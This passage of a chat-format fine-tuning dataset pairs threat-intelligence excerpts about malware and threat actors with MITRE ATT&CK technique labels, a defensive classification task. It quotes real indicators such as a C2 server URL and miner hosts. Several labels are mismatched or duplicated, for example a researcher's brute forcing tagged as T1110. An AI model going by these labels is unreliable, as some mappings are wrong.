                "content": "Use command-line interfaces to interact with systems and execute other software (Command and Scripting Interpreter [T1059]) - Use scripts (e.g. VBScript and PowerShell) to speed up operational tasks, reduce the time required to gain access to critical resources, and bypass process monitoring mechanisms by directly interacting with the operating system (OS) at an Application Programming Interface (API) level instead of calling other programs (Command and Scripting Interpreter: PowerShell [T1059.001], Command and Scripting Interpreter: Visual Basic [T1059.005]) - Rely upon specific user actions, such as opening a malicious email attachment (User Execution [T1204]) - Exploit software vulnerabilities to execute code on a system (Exploitation for Client Execution [T1203]) - Create new services or modify existing services to execute executables, commands, or scripts (System Services: Service Execution [T1569.002]) - Employ the Windows module loader to load Dynamic Link Libraries (DLLs) from arbitrary local paths or arbitrary Universal Naming Convention (UNC) network paths and execute arbitrary code on a system (Shared Modules [T1129]) - Use the Windows API to execute arbitrary code on the victim's system (Native API [T1106]) - Use a system's graphical user interface (GUI) to search for information and execute files (Remote Services [T1021]) - Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence, conduct remote execution for lateral movement, gain SYSTEM privileges for privilege escalation, or run a process under the context of a specified account (Scheduled Task/Job [T1053]) - Abuse compiled Hypertext Markup Language (HTML) files (.chm), commonly distributed as part of the Microsoft HTML Help system, to conceal malicious code (Signed Binary Proxy Execution: Compiled HTML File [T1218.001]) - Abuse Windows rundll32.exe to execute binaries, scripts, and Control Panel Item files (.CPL) and execute code via proxy to avoid triggering security tools (Signed Binary Proxy Execution: Rundl32 [T1218.001]) - Exploit cron in Linux and launchd in macOS systems to create pre-scheduled and periodic background jobs (Scheduled Task/Job: Cron [T1053.003], Scheduled Task/Job: Launchd [T1053.004"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1053.003 - Scheduled Task/Job: Cron', 'T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using Nbtscan and nmap to scan and enumerate target network information."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This introduction of string obfuscation also suggests a development change aimed at evading detection. The header codes, filename references, and all of the operator commands were obfuscated and only decoded during execution of the KeyBoy DLL. Figure 6 shows a sampling of these strings, after decoding"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE UNION uses various tools for credential theft. In one incident, the threat actor used the Wrapikatz tool (w.exe) with a usage statement that retrieves various passwords and Windows credentials from memory and compiles them in w.txt"
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download files onto the victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts C2 content with XOR using a single byte, 0x12."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack can collect network and active connection information."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE exfiltrates command output and collected files to its C2 server in 1500-byte blocks."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A FinFisher variant uses a custom packer."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA459 has a VBScript for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TG-3390 actors keep track of and leverage existing ASPXTool web shells in their operations, preferring to issue commands via an internally accessible web shell rather than HttpBrowser or PlugX"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used  to remove artifacts from victims."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors used Windows command shell commands to detect and avoid virtualization and analysis environments."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has compressed data into password-protected RAR archives prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST source code used generic variable names and pre-obfuscated strings, and was likely sanitized of developer comments before being added to SUNSPOT."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can identify the domain membership of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "modifies an HKCU Registry key to store a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Patchwork payload was packed with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analysis of Daserf has shown that it regularly undergoes technical improvements to evade anti-virus detection."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploits a kernel privilege escalation vulnerability to gain SYSTEM privileges using CVE-2018-8453. Whitelists files, folders and extensions from encryption. Encrypts files on local and network storage. Customizes the name and body of the ransom note, and the contents of the background image. Exfiltrates encrypted information on the infected host to remote controllers. REvil uses Hypertext Transfer Protocol Secure (HTTPS) for communication with its controllers"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can establish persistence by adding a Registry run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To establish persistence, Okrum can install itself as a new service named NtmSsvc."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can use Native API including \"CreateProcess\" \"GetProcessById\", and \"WriteProcessMemory\"."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has downloaded second stage malware from compromised websites."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark  can download additional files from its C2 via HTTP or DNS."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic compresses the collected data with bzip2 before sending it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper has the ability to modify Registry keys to disable crash dumps, colors for compressed files, and pop-up information about folders and desktop items."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to discover current NetBIOS sessions."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Business info at outsidersecurity.nl . Introducing ROADtools - The Azure AD exploration framework . 15 minute read . Over the past 1.5 years I’ve been doing quite a lot of exploration into Azure AD and how it works under the hood. So I set myself a few goals: - Provide tooling for both Red teams and Blue teams to explore all Azure AD data in an accessible way. Use asynchronous HTTP calls in Python to dump all available information in the Azure AD graph to this database. Where to get the data . Since Azure AD is a cloud service, there isn’t a way to reverse engineer how it works, or a central repository where all the data is stored that you can access. While researching Azure and looking through the requests in the Azure Portal, at some point I noticed that the portal was calling a different version of the Azure AD Graph, the 1.61-internal version. This internal version of the Azure AD graph exposes much more data than any of the official API’s that are offered by Microsoft. To create the object structure, ROADrecon uses the OData metadata definition that the Azure AD graph exposes. ROADrecon will by default pretend to be the Azure AD PowerShell module and will thus inherit its permissions to access the internal version of the Azure AD graph. Gathering all the data . The second step is data gathering, which the roadrecon gather command does. That being said, there is a setting in the deprecated MSOnline PowerShell module which prevents enumeration using the Azure AD graph, which is documented here"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Config.json\" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. This configuration file contains the same actor pool and wallet information as the first. Lowerv2.sh\" and \"rootv2.sh\" are similar shell scripts that attempt to download and execute the mining malware components \"bashf\" and \"bashg,\" hosted on 118[.]24[.]150[.]172. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called \"XbashY\" from 3g2upl4pq6kufc4m[.]tk. Based on the config file it uses, it appears to be the Monero Silent Miner. This miner can be purchased online for $14 and targets malicious actors. The sample grabs the config file \"xmr.txt,\" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. Intriguingly, this file appears to share some similarities with Cobalt Strike, the popular penetration testing software, which would allow the attacker to have greater control over the infected system. So, while we can asses with high confidence that the payloads share some code base, we are still unsure of the exact relationship between Rocke and Iron Cybercrime Group"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Enumerates remote open SMB network shares"
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The username appears to be attacker specified and has occurred in 2017 Bankshot samples"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has collected files from victim machines, including certificates and cookies."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Creates 2 objects in the AD forest Configuration partition. Updates the SPN of the computer used to include “GC” (Global Catalog) and “E3514235-4B06-11D1-AB04-00C04FC2DCD2” (AD Replication). More info on Kerberos Service Principal Names in the ADSecurity SPN section. Pushes the updates to DCs via DrsReplicaAdd and KCC"
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DealersChoice makes modifications to open-source scripts from GitHub and executes them on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors used the command `net localgroup administrators` to list all administrators part of a local group."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SUPERNOVA webshell is an anonymous code C# webshell written in .NET C# that is specifically written for usage on SolarWinds Orion servers"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker deception and attribution The deobfuscated PowerShell code used by the MuddyWater group resembles previously seen PowerShell scripts that most likely served as prototypes"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has modified /etc/ld.so.preload to hook libc functions in order to hide the installed dropper and mining software in process lists."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit', 'T1574.006 - Hijack Execution Flow: LD_PRELOAD"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP as a transport to communicate with its command server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak performs desktop video recording and captures screenshots of the desktop and sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One such email that we were able to obtain was targeting users in Turkey, as shown in Figure 4:    Figure 4: Sample spear phishing email containing macro-based document attachment The malicious Microsoft Office attachments that we observed appear to have been specially crafted for individuals in four countries: Turkey, Pakistan, Tajikistan and India"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment', 'T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This feature generates a stageless Beacon payload artifact, hosts it on Cobalt Strike’s web server, and presents a one-liner to download and run the artifact"
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These privilege escalation modules are the ones we caught when we queried for Jian’s global configuration table. We also found a couple of more Local Privilege Escalation exploits from the NtElevation series"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wingbird deletes its payload along with the payload's parent process after it finishes copying files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During our initial research into the TwoFace++ loader, we were unable to extract the embedded payload using the same brute forcing technique that we used on the initial TwoFace loader samples"
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun can detect the username of the infected host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has access to destructive malware that is capable of overwriting a machine's Master Boot Record (MBR)."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has modified the permissions on binaries with \"chattr\"."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a backdoor through which remote attackers can retrieve information such as computer name, OS version, processor speed, memory size, and CPU speed."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Probably full and active window screenshot quality   captureActiveQC 40   CaptureSites VPN*0,0 Login*0,0 mail*0,0 Security*0,0 Window titles of interest for screenshots, using left mouse button and Enter keypress hook   important upLog.txt upSCRLog.txt upSpecial.txt upFile.txt upMSLog.txt List of files to send to C2 using bitsadmin.exe from the dedicated thread   maxUpFileSizeKByte 1000000 Maximum size of file uploaded to C2   Servers http://108.61.189.174 Control server HTTP URL   ZipPass KtJvOXulgibfiHk Password for uploaded zip archives   browserPasswordCheckTimeout 300000 Milliseconds to wait between gathering key3.db, cookies.sqlite and other browser files in dedicated thread    Most of the parameters are self-explanatory"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can utilize command line options to allow an attacker control over how it scans and encrypts files."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mapping of TG-3390's interactions with web shells during an intrusion responded to by CTU researchers"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI can delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BACKSPACE is capable of deleting Registry keys, sub-keys, and values on a victim system."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER will send the captured screenshot image file to the C2 server if the “fileupload” command is issued"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT was distributed via malicious Word documents."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Andariel has downloaded additional tools and malware onto compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBK has the ability to decrypt AES encrypted payloads."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sowbug named its tools to masquerade as Windows or Adobe Reader software, such as by using the file name adobecms.exe and the directory \"CSIDL_APPDATA\\microsoft\\security\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain information on installed anti-malware programs."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used services.exe to execute scripts and executables during lateral movement within a victim network."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "created accounts disguised as legitimate backup and service accounts as well as an email administration account."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dridex contains a backconnect module for tunneling network traffic through a victim's computer. Infected computers become part of a P2P botnet that can relay C2 traffic to other infected peers."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT has executed commands using \"cmd.exe /c\"."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
